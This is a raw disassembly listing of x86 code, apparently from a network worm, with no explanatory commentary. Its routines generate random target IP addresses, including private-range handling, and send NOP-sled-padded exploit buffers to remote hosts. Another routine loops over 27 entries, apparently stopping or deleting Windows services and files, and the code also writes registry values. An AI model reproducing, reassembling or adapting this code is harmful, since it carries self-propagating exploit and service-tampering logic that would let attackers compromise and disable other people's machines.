loc_43F9D2: ; CODE XREF: sub_43F725+2A6j
jmp loc_43FD69
; ---------------------------------------------------------------------------
loc_43F9D7: ; CODE XREF: sub_43F725+2ABj
lea eax, [ebp+var_2F83]
mov [ebp+var_89E8], eax
cmp byte ptr [eax], 31h
setnz al
and eax, 1
mov [ebp+var_3050], eax
jz loc_43FAEB
push 0DACh
push 90h
lea eax, [ebp+var_2987]
push eax
call sub_4408D5
push 4
imul eax, [ebp+var_3050], 3Ch
lea eax, ds:404938h[eax]
push eax
lea eax, [ebp+var_21A3]
push eax
call sub_4408C9
push [ebp+arg_8]
push [ebp+var_3058]
lea eax, [ebp+var_2193]
push eax
call sub_4408C9
push 4
push 404D55h
lea eax, [ebp+var_1E6F]
push eax
call sub_4408C9
push 4
imul eax, [ebp+var_3050], 3Ch
lea eax, ds:404938h[eax]
push eax
lea eax, [ebp+var_1E6B]
push eax
call sub_4408C9
push [ebp+var_3058]
call sub_440785
push eax
push [ebp+var_3058]
lea edi, [ebp+var_1E5F]
push edi
call sub_4408C9
add esp, 48h
xor ebx, ebx
loc_43FA93: ; CODE XREF: sub_43F725+38Bj
mov dl, [ebp+ebx+var_2987]
mov [ebp+ebx*2+var_1BDA], dl
mov [ebp+ebx*2+var_1BD9], 0
inc ebx
cmp ebx, 0DACh
jl short loc_43FA93
mov [ebp+var_82], 0
mov [ebp+var_81], 0
push 1C52h
push 31h
lea eax, [ebp+var_89D8]
push eax
call sub_4408D5
push 1C52h
push 31h
lea eax, [ebp+var_6112]
push eax
call sub_4408D5
add esp, 18h
jmp short loc_43FB4D
; ---------------------------------------------------------------------------
loc_43FAEB: ; CODE XREF: sub_43F725+2CDj
push 7D0h
push 90h
lea eax, [ebp+var_68E2]
push eax
call sub_4408D5
push [ebp+var_3058]
call sub_440785
push eax
push [ebp+var_3058]
lea edi, [ebp+var_6842]
push edi
call sub_4408C9
lea eax, [ebp+var_89E0]
push eax
call sub_440785
push eax
lea edi, [ebp+var_89E0]
push edi
lea edi, [ebp+var_6126]
push edi
call sub_4408C9
add esp, 24h
mov eax, dword ptr loc_404937+1
mov [ebp+var_6136], eax
loc_43FB4D: ; CODE XREF: sub_43F725+3C4j
push 0
movsx eax, [ebp+var_403A]
add eax, 4
push eax
lea eax, [ebp+var_303C]
push eax
push [ebp+var_54]
call sub_4405C1
cmp eax, 0FFFFFFFFh
jnz short $+2
push 64h
call sub_44076D
push 0
push 640h
lea eax, [ebp+var_2FC7]
push eax
push [ebp+var_54]
call sub_4405B5
mov [ebp+var_80], eax
cmp eax, 0FFFFFFFFh
jz loc_43FD69
push 0
push 68h
push offset loc_404586
push [ebp+var_54]
call sub_4405C1
cmp eax, 0FFFFFFFFh
jnz short $+2
push 64h
call sub_44076D
push 0
push 640h
lea eax, [ebp+var_2FC7]
push eax
push [ebp+var_54]
call sub_4405B5
mov [ebp+var_80], eax
cmp eax, 0FFFFFFFFh
jz loc_43FD69
push 0
push 0A0h
push offset loc_4045EF
push [ebp+var_54]
call sub_4405C1
cmp eax, 0FFFFFFFFh
jnz short $+2
push 64h
call sub_44076D
push 0
push 640h
lea eax, [ebp+var_2FC7]
push eax
push [ebp+var_54]
call sub_4405B5
mov [ebp+var_80], eax
cmp eax, 0FFFFFFFFh
jz loc_43FD69
cmp [ebp+var_3050], 0
jz loc_43FCF5
push 68h
push offset loc_40479E
lea eax, [ebp+var_89D8]
push eax
call sub_4408C9
push 1B5Ah
lea eax, [ebp+var_1BDA]
push eax
lea eax, [ebp+var_8970]
push eax
call sub_4408C9
push 70h
push offset loc_404807
lea eax, [ebp+var_6112]
push eax
call sub_4408C9
push 0A5Eh
lea eax, [ebp+var_B46]
push eax
lea eax, [ebp+var_60A2]
push eax
call sub_4408C9
push 84h
push 404878h
lea eax, [ebp+var_55DE]
push eax
call sub_4408C9
add esp, 3Ch
push 0
push 10FCh
lea eax, [ebp+var_89D8]
push eax
push [ebp+var_54]
call sub_4405C1
cmp eax, 0FFFFFFFFh
jnz short $+2
push 64h
call sub_44076D
push 0
push 640h
lea eax, [ebp+var_2FC7]
push eax
push [ebp+var_54]
call sub_4405B5
mov [ebp+var_80], eax
cmp eax, 0FFFFFFFFh
jz loc_43FD69
push 0
push 0FDCh
lea eax, [ebp+var_6112]
push eax
push [ebp+var_54]
call sub_4405C1
cmp eax, 0FFFFFFFFh
jnz short loc_43FD5B
jmp short loc_43FD5B
; ---------------------------------------------------------------------------
loc_43FCF5: ; CODE XREF: sub_43F725+4FAj
push 7Ch
push 404690h
lea eax, [ebp+var_4039]
push eax
call sub_4408C9
push 7D0h
lea eax, [ebp+var_68E2]
push eax
lea eax, [ebp+var_3FBD]
push eax
call sub_4408C9
push 90h
push offset loc_40470D
lea eax, [ebp+var_37ED]
push eax
call sub_4408C9
add esp, 24h
mov [ebp+var_3342], 0
push 0
push 0CF8h
lea eax, [ebp+var_4039]
push eax
push [ebp+var_54]
call sub_4405C1
cmp eax, 0FFFFFFFFh
jnz short $+2
loc_43FD5B: ; CODE XREF: sub_43F725+5CCj
; sub_43F725+5CEj
push 64h
call sub_44076D
and [ebp+var_3054], 0
loc_43FD69: ; CODE XREF: sub_43F725+216j
; sub_43F725+258j ...
push 2
push [ebp+var_54]
call sub_4405CD
loc_43FD73: ; CODE XREF: sub_43F725+1CEj
push [ebp+var_54]
call sub_440555
loc_43FD7B: ; CODE XREF: sub_43F725+53j
mov eax, [ebp+var_3054]
pop edi
pop esi
pop ebx
leave
retn
sub_43F725 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FD86 proc near ; CODE XREF: .text:loc_43FDFAp
var_32 = byte ptr -32h
push ebp
mov ebp, esp
sub esp, 34h
push esi
push edi
push 31h
lea eax, [ebp+var_32]
push eax
call sub_440579
cmp eax, 0FFFFFFFFh
jnz short loc_43FDA2
xor eax, eax
jmp short loc_43FDBC
; ---------------------------------------------------------------------------
loc_43FDA2: ; CODE XREF: sub_43FD86+16j
lea eax, [ebp+var_32]
push eax
call sub_44056D
mov edi, eax
or edi, edi
jnz short loc_43FDB5
xor eax, eax
jmp short loc_43FDBC
; ---------------------------------------------------------------------------
loc_43FDB5: ; CODE XREF: sub_43FD86+29j
mov eax, [edi+0Ch]
mov esi, [eax]
mov eax, [esi]
loc_43FDBC: ; CODE XREF: sub_43FD86+1Aj
; sub_43FD86+2Dj
pop edi
pop esi
leave
retn
sub_43FD86 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 13Ch
push ebx
push esi
push edi
call sub_4406F5
push eax
call sub_440911
mov esi, 254h
mov eax, esi
add eax, 0Ah
push eax
push 0
call sub_440731
mov ebx, eax
push esi
push 4040BFh
push ebx
call sub_4408C9
add esp, 10h
loc_43FDFA: ; CODE XREF: .text:0043FE14j
; .text:0043FE4Ej ...
call sub_43FD86
mov [ebp-10Ch], eax
or eax, eax
jnz short loc_43FE16
push 384h
call sub_4408B1
pop ecx
jmp short loc_43FDFA
; ---------------------------------------------------------------------------
loc_43FE16: ; CODE XREF: .text:0043FE07j
mov al, [ebp-10Ch]
mov [ebp-111h], al
mov al, [ebp-10Bh]
mov [ebp-112h], al
mov al, [ebp-10Ah]
mov [ebp-135h], al
cmp byte ptr [ebp-111h], 7Fh
jnz short loc_43FE50
push 384h
call sub_4408B1
pop ecx
jmp short loc_43FDFA
; ---------------------------------------------------------------------------
loc_43FE50: ; CODE XREF: .text:0043FE41j
lea eax, [ebp-130h]
push eax
call sub_43F624
push 0
call sub_4408B1
add esp, 8
call sub_4408ED
mov ecx, 0FDh
cdq
idiv ecx
mov edi, edx
inc edi
mov edx, edi
mov [ebp-134h], dl
call sub_4408ED
mov ecx, 0FDh
cdq
idiv ecx
mov edi, edx
inc edi
mov edx, edi
mov [ebp-131h], dl
call sub_4408ED
mov ecx, 0FDh
cdq
idiv ecx
mov edi, edx
inc edi
mov edx, edi
mov [ebp-132h], dl
call sub_4408ED
mov ecx, 0Ah
cdq
idiv ecx
mov [ebp-133h], dl
mov al, [ebp-133h]
cmp al, 5
jnb short loc_43FEED
mov al, [ebp-112h]
mov [ebp-134h], al
mov al, [ebp-133h]
cmp al, 3
jnb short loc_43FEED
mov al, [ebp-135h]
mov [ebp-131h], al
loc_43FEED: ; CODE XREF: .text:0043FEC9j
; .text:0043FEDFj
cmp byte ptr [ebp-111h], 0Ah
jnz short loc_43FF22
movzx eax, byte ptr [ebp-132h]
push eax
movzx eax, byte ptr [ebp-131h]
push eax
movzx eax, byte ptr [ebp-134h]
push eax
push 404D49h
lea eax, [ebp-130h]
push eax
call sub_440905
add esp, 14h
loc_43FF22: ; CODE XREF: .text:0043FEF4j
movzx eax, byte ptr [ebp-111h]
cmp eax, 0ACh
jnz short loc_43FF7C
mov al, [ebp-112h]
cmp al, 0Fh
jbe short loc_43FF7C
cmp al, 21h
jnb short loc_43FF7C
call sub_4408ED
movzx edi, byte ptr [ebp-132h]
push edi
movzx edi, byte ptr [ebp-131h]
push edi
mov edx, eax
and edx, 8000000Fh
jge short loc_43FF62
dec edx
or edx, 0FFFFFFF0h
inc edx
loc_43FF62: ; CODE XREF: .text:0043FF5Bj
mov edi, edx
add edi, 10h
push edi
push 404D3Ch
lea edi, [ebp-130h]
push edi
call sub_440905
add esp, 14h
loc_43FF7C: ; CODE XREF: .text:0043FF2Ej
; .text:0043FF38j ...
movzx eax, byte ptr [ebp-111h]
cmp eax, 0C0h
jnz short loc_43FFBC
movzx eax, byte ptr [ebp-112h]
cmp eax, 0A8h
jnz short loc_43FFBC
movzx eax, byte ptr [ebp-132h]
push eax
movzx eax, byte ptr [ebp-131h]
push eax
push offset loc_404D2E
lea eax, [ebp-130h]
push eax
call sub_440905
add esp, 10h
loc_43FFBC: ; CODE XREF: .text:0043FF88j
; .text:0043FF96j
lea eax, [ebp-130h]
push eax
call sub_440591
cmp [ebp-10Ch], eax
jz loc_43FDFA
push dword ptr [ebp-10Ch]
call sub_44059D
movzx edi, word ptr loc_404092+2
push edi
push eax
push 404D27h
lea edi, [ebp-0FFh]
push edi
call sub_440905
add esp, 10h
loc_43FFFC: ; CODE XREF: .text:00440025j
lea ecx, [ebp-0FFh]
or eax, 0FFFFFFFFh
loc_440005: ; CODE XREF: .text:0044000Aj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_440005
cmp eax, 19h
jz short loc_440027
push 404D25h
lea eax, [ebp-0FFh]
push eax
call sub_44091D
add esp, 8
jmp short loc_43FFFC
; ---------------------------------------------------------------------------
loc_440027: ; CODE XREF: .text:0044000Fj
lea ecx, [ebp-0FFh]
or eax, 0FFFFFFFFh
loc_440030: ; CODE XREF: .text:00440035j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_440030
push eax
lea edi, [ebp-0FFh]
push edi
mov edi, ebx
add edi, 9
push edi
call sub_4408C9
add esp, 0Ch
lea eax, [ebp-130h]
push eax
call sub_440591
push esi
push ebx
push eax
call sub_43F725
add esp, 0Ch
mov [ebp-13Ch], eax
push 0
call sub_4408B1
add esp, 4
jmp loc_43FDFA
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440080 proc near ; CODE XREF: .text:004400C2p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
call sub_440701
cmp eax, 80000000h
jb short loc_440097
mov eax, 3Ch
jmp short locret_4400B8
; ---------------------------------------------------------------------------
loc_440097: ; CODE XREF: sub_440080+Ej
push 0
lea eax, [ebp+var_4]
push eax
call sub_4405E5
and [ebp+var_4], 2
cmp [ebp+var_4], 2
jnz short loc_4400B3
mov eax, 12Ch
jmp short locret_4400B8
; ---------------------------------------------------------------------------
loc_4400B3: ; CODE XREF: sub_440080+2Aj
mov eax, 64h
locret_4400B8: ; CODE XREF: sub_440080+15j
; sub_440080+31j
leave
retn
sub_440080 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
call sub_440080
mov ebx, eax
lea eax, [ebp-4]
push eax
push 0
push 0
push 401565h
push 0
push 0
call sub_440791
push eax
call sub_4406E9
xor esi, esi
jmp short loc_44011B
; ---------------------------------------------------------------------------
loc_4400E9: ; CODE XREF: .text:0044011Dj
lea eax, [ebp-4]
push eax
push 0
push 0
push 401E23h
push 0
push 0
call sub_440791
push eax
call sub_4406E9
mov eax, 0EA60h
xor edx, edx
div ebx
mov [ebp-8], eax
mov edi, eax
push eax
call sub_4408B1
pop ecx
inc esi
loc_44011B: ; CODE XREF: .text:004400E7j
cmp esi, ebx
jb short loc_4400E9
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440126 proc near ; CODE XREF: sub_4403F5+ACp
var_388 = dword ptr -388h
var_384 = dword ptr -384h
var_380 = dword ptr -380h
var_37C = dword ptr -37Ch
var_378 = dword ptr -378h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = byte ptr -36Ch
var_16C = dword ptr -16Ch
var_168 = byte ptr -168h
var_164 = dword ptr -164h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 388h
push ebx
push esi
push edi
lea edi, [ebp+var_16C]
lea esi, loc_404A2F+9
mov ecx, 51h
rep movsd
and [ebp+var_24], 0
loc_440149: ; CODE XREF: sub_440126+211j
push 0F003Fh
push 0
push 0
call sub_440839
mov [ebp+var_28], eax
or eax, eax
jz loc_440330
push 0F003Fh
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_370], eax
push [ebp+eax+var_16C]
push [ebp+var_28]
call sub_440845
mov ebx, eax
or eax, eax
jz loc_440328
lea eax, [ebp+var_20]
push eax
push 1
push ebx
call sub_440821
mov [ebp+var_4], eax
and [ebp+var_4], 0
loc_4401A1: ; CODE XREF: sub_440126+A4j
lea eax, [ebp+var_20]
push eax
push 4
push ebx
call sub_440821
or eax, eax
jz short loc_4401B7
cmp [ebp+var_1C], 1
jnz short loc_4401B9
loc_4401B7: ; CODE XREF: sub_440126+89j
jmp short loc_4401CC
; ---------------------------------------------------------------------------
loc_4401B9: ; CODE XREF: sub_440126+8Fj
push 3E8h
call sub_44076D
inc [ebp+var_4]
cmp [ebp+var_4], 0Ah
jb short loc_4401A1
loc_4401CC: ; CODE XREF: sub_440126:loc_4401B7j
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_374], eax
cmp [ebp+eax+var_168], 0
jz short loc_4401EA
push ebx
call sub_44082D
loc_4401EA: ; CODE XREF: sub_440126+BCj
push ebx
call sub_440815
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_378], eax
cmp [ebp+eax+var_164], 0
jz loc_440328
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_37C], eax
mov eax, [ebp+eax+var_164]
cmp byte ptr [eax], 0
jnz loc_4402B0
push 0
push 18h
lea eax, [ebp+var_36C]
push eax
push 0
call sub_4405F1
or eax, eax
jz short loc_4402B0
lea ecx, [ebp+var_36C]
or eax, 0FFFFFFFFh
loc_440249: ; CODE XREF: sub_440126+128j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_440249
mov [ebp+var_4], eax
cmp [ebp+var_4], 1
jbe short loc_44027D
mov eax, [ebp+var_4]
sub eax, 1
cmp [ebp+eax+var_36C], 5Ch
jz short loc_44027D
push 404BA0h
lea eax, [ebp+var_36C]
push eax
call sub_44091D
add esp, 8
loc_44027D: ; CODE XREF: sub_440126+131j
; sub_440126+141j
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_380], eax
mov eax, [ebp+eax+var_164]
push dword ptr [eax+8]
lea eax, [ebp+var_36C]
push eax
call sub_44091D
add esp, 8
lea eax, [ebp+var_36C]
push eax
call sub_44079D
loc_4402B0: ; CODE XREF: sub_440126+FEj
; sub_440126+118j
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_380], eax
mov eax, [ebp+eax+var_164]
cmp byte ptr [eax], 1
jnz short loc_440328
lea eax, [ebp+var_4]
push eax
push 20006h
push 0
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_384], eax
mov edx, [ebp+eax+var_164]
push dword ptr [edx+4]
mov eax, [ebp+eax+var_164]
push dword ptr [eax+0Ch]
call sub_440875
or eax, eax
jnz short loc_440328
mov eax, 0Ch
mul [ebp+var_24]
mov [ebp+var_388], eax
mov eax, [ebp+eax+var_164]
push dword ptr [eax+8]
push [ebp+var_4]
call sub_440851
push [ebp+var_4]
call sub_440869
loc_440328: ; CODE XREF: sub_440126+62j
; sub_440126+E0j ...
push [ebp+var_28]
call sub_440815
loc_440330: ; CODE XREF: sub_440126+36j
inc [ebp+var_24]
cmp [ebp+var_24], 1Bh
jb loc_440149
pop edi
pop esi
pop ebx
leave
retn 4
sub_440126 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push edi
mov eax, [ebp+0Ch]
cmp eax, 10h
jz short loc_4403D2
jg short loc_44035F
cmp eax, 2
jz short loc_4403C9
jmp loc_4403DF
; ---------------------------------------------------------------------------
loc_44035F: ; CODE XREF: .text:00440353j
cmp eax, 113h
jnz short loc_4403DF
and dword ptr [ebp-4], 0
mov dword ptr [ebp-8], 4
lea eax, [ebp-10h]
push eax
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push 404B81h
push offset loc_404B85
push 80000001h
call sub_43F364
mov eax, dword ptr loc_404097+1
mov [ebp-0Ch], eax
add [ebp-4], eax
push 4
push 4
lea eax, [ebp-4]
push eax
push 404B81h
push offset loc_404B85
push 80000001h
call sub_43F2F9
add esp, 30h
push 0
push 404098h
call sub_440719
jmp short loc_4403F0
; ---------------------------------------------------------------------------
loc_4403C9: ; CODE XREF: .text:00440358j
push 0
call sub_4407E5
jmp short loc_4403F0
; ---------------------------------------------------------------------------
loc_4403D2: ; CODE XREF: .text:00440351j
push dword ptr loc_402FFF+1
call sub_4407FD
jmp short loc_4403F0
; ---------------------------------------------------------------------------
loc_4403DF: ; CODE XREF: .text:0044035Aj
; .text:00440364j
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_440809
loc_4403F0: ; CODE XREF: .text:004403C7j
; .text:004403D0j ...
pop edi
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4403F5 proc near ; CODE XREF: sub_4405FD+5Cp
var_2DC = byte ptr -2DCh
var_2D8 = byte ptr -2D8h
var_148 = dword ptr -148h
var_143 = byte ptr -143h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2DCh
push edi
mov edi, [ebp+arg_0]
push [ebp+arg_8]
push offset loc_403010
call sub_440681
push 404B7Ch
lea eax, [ebp+var_143]
push eax
call sub_440905
and [ebp+var_44], 0
lea eax, loc_4023A7
mov [ebp+var_40], eax
and [ebp+var_3C], 0
and [ebp+var_38], 0
mov [ebp+var_34], edi
and [ebp+var_30], 0
and [ebp+var_2C], 0
and [ebp+var_28], 0
and [ebp+var_24], 0
lea eax, [ebp+var_143]
mov [ebp+var_20], eax
lea eax, [ebp+var_44]
push eax
call sub_4407B5
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push 0CF0000h
push 404D25h
lea eax, [ebp+var_143]
push eax
push 0
call sub_4407F1
mov dword ptr loc_402FFF+1, eax
call sub_4406C5
push eax
call sub_43F2D4
lea eax, [ebp+var_2D8]
push eax
push 2
call sub_440531
push 0
call sub_440126
lea eax, [ebp+var_2DC]
push eax
push 0
push 0
push 40211Dh
push 0
push 0
call sub_440791
push eax
call sub_4406E9
and [ebp+var_148], 0
push 4
push 4
lea eax, [ebp+var_148]
push eax
push 404B81h
push offset loc_404B85
push 80000001h
call sub_43F2F9
add esp, 24h
push 0
push 2710h
push 1
push dword ptr loc_402FFF+1
call sub_4407A9
jmp short loc_440516
; ---------------------------------------------------------------------------
loc_440504: ; CODE XREF: sub_4403F5+132j
lea eax, [ebp+var_1C]
push eax
call sub_4407CD
lea eax, [ebp+var_1C]
push eax
call sub_4407D9
loc_440516: ; CODE XREF: sub_4403F5+10Dj
push 0
push 0
push 0
lea eax, [ebp+var_1C]
push eax
call sub_4407C1
or eax, eax
jnz short loc_440504
pop edi
leave
retn 10h
sub_4403F5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440531 proc near ; CODE XREF: sub_4403F5+A5p
jmp dword ptr loc_40524C
sub_440531 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44053D proc near ; CODE XREF: .text:0043F5FBp
jmp dword ptr loc_40524D+3
sub_44053D endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440549 proc near ; CODE XREF: .text:0043F5C8p
jmp dword ptr loc_40524D+7
sub_440549 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440555 proc near ; CODE XREF: .text:0043F4F6p
; sub_43F725+651p
jmp dword ptr loc_405256+2
sub_440555 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440561 proc near ; CODE XREF: sub_43F725+1BAp
jmp dword ptr loc_405256+6
sub_440561 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44056D proc near ; CODE XREF: sub_43FD86+20p
jmp dword ptr loc_40525D+3
sub_44056D endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440579 proc near ; CODE XREF: sub_43FD86+Ep
jmp dword ptr loc_405263+1
sub_440579 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440585 proc near ; CODE XREF: .text:0043F5B6p
; sub_43F725+197p
jmp dword ptr loc_405263+5
sub_440585 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440591 proc near ; CODE XREF: .text:0043FFC3p
; .text:00440054p
jmp dword ptr loc_40526B+1
sub_440591 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44059D proc near ; CODE XREF: sub_43F725+63p
; .text:0043FFDAp
jmp dword ptr loc_40526E+2
sub_44059D endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4405A9 proc near ; CODE XREF: .text:0043F5E6p
jmp dword ptr loc_405274
sub_4405A9 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4405B5 proc near ; CODE XREF: .text:0043F3D6p
; sub_43F725+20Bp ...
jmp dword ptr loc_405275+3
sub_4405B5 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4405C1 proc near ; CODE XREF: .text:0043F428p
; .text:0043F464p ...
jmp dword ptr loc_40527A+2
sub_4405C1 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4405CD proc near ; CODE XREF: .text:0043F4EEp
; sub_43F725+649p
jmp dword ptr loc_40527A+6
sub_4405CD endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4405D9 proc near ; CODE XREF: .text:0043F57Fp
; sub_43F725+48p
jmp dword ptr loc_405281+3
sub_4405D9 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4405E5 proc near ; CODE XREF: sub_440080+1Dp
jmp dword ptr loc_40528F+1
sub_4405E5 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4405F1 proc near ; CODE XREF: sub_440126+111p
jmp dword ptr loc_405299+3
sub_4405F1 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4405FD proc near ; CODE XREF: .text:0043F21Cp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push edi
call sub_4406B9
mov edi, eax
cmp byte ptr [edi], 22h
jnz short loc_440631
push 22h
mov eax, edi
inc eax
push eax
call sub_440929
add esp, 8
mov [ebp+var_4], eax
or eax, eax
jz short loc_44064C
mov edi, eax
inc edi
jmp short loc_440629
; ---------------------------------------------------------------------------
loc_440628: ; CODE XREF: sub_4405FD+2Fj
inc edi
loc_440629: ; CODE XREF: sub_4405FD+29j
cmp byte ptr [edi], 20h
jz short loc_440628
jmp short loc_44064C
; ---------------------------------------------------------------------------
loc_440630: ; CODE XREF: sub_4405FD+3Ej
inc edi
loc_440631: ; CODE XREF: sub_4405FD+Fj
movsx eax, byte ptr [edi]
or eax, eax
jz short loc_44063D
cmp eax, 20h
jnz short loc_440630
loc_44063D: ; CODE XREF: sub_4405FD+39j
jmp short loc_440640
; ---------------------------------------------------------------------------
loc_44063F: ; CODE XREF: sub_4405FD+4Dj
inc edi
loc_440640: ; CODE XREF: sub_4405FD:loc_44063Dj
movsx eax, byte ptr [edi]
or eax, eax
jz short loc_44064C
cmp eax, 20h
jz short loc_44063F
loc_44064C: ; CODE XREF: sub_4405FD+24j
; sub_4405FD+31j ...
push 0
call sub_4406DD
push 1
push edi
push 0
push eax
call sub_4403F5
pop edi
leave
retn
sub_4405FD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_440661 proc near ; CODE XREF: sub_43F725+8p
var_FFC = dword ptr -0FFCh
pop ecx
loc_440662: ; CODE XREF: sub_440661+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_440662
sub esp, eax
test [esp+0FFCh+var_FFC], eax
jmp ecx
sub_440661 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
db 0
; =============== S U B R O U T I N E =======================================
sub_440681 proc near ; CODE XREF: sub_4403F5+15p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
xor eax, eax
mov ecx, 0FFFFFFFFh
xchg edi, edx
repne scasb
neg ecx
lea ecx, [ecx-1]
mov eax, [esp+arg_4]
xchg eax, esi
mov edi, [esp+arg_0]
rep movsb
xchg eax, esi
xchg edx, edi
mov eax, [esp+arg_0]
retn 8
sub_440681 endp
; ---------------------------------------------------------------------------
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4406AD proc near ; CODE XREF: .text:0043F53Cp
jmp dword ptr loc_4052A8
sub_4406AD endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4406B9 proc near ; CODE XREF: sub_4405FD+5p
jmp dword ptr loc_4052A8+4
sub_4406B9 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4406C5 proc near ; CODE XREF: sub_4403F5+91p
jmp dword ptr loc_4052B0
sub_4406C5 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4406D1 proc near ; CODE XREF: .text:0043F544p
jmp dword ptr loc_4052B2+2
sub_4406D1 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4406DD proc near ; CODE XREF: sub_4405FD+51p
jmp dword ptr loc_4052B2+6
sub_4406DD endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4406E9 proc near ; CODE XREF: .text:0043F574p
; .text:0043F618p ...
jmp dword ptr loc_4052B9+3
sub_4406E9 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4406F5 proc near ; CODE XREF: .text:0043FDCCp
jmp dword ptr loc_4052C0
sub_4406F5 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440701 proc near ; CODE XREF: sub_440080+4p
jmp dword ptr loc_4052C0+4
sub_440701 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44070D proc near ; CODE XREF: sub_43F2D4+1Ep
jmp dword ptr loc_4052C7+1
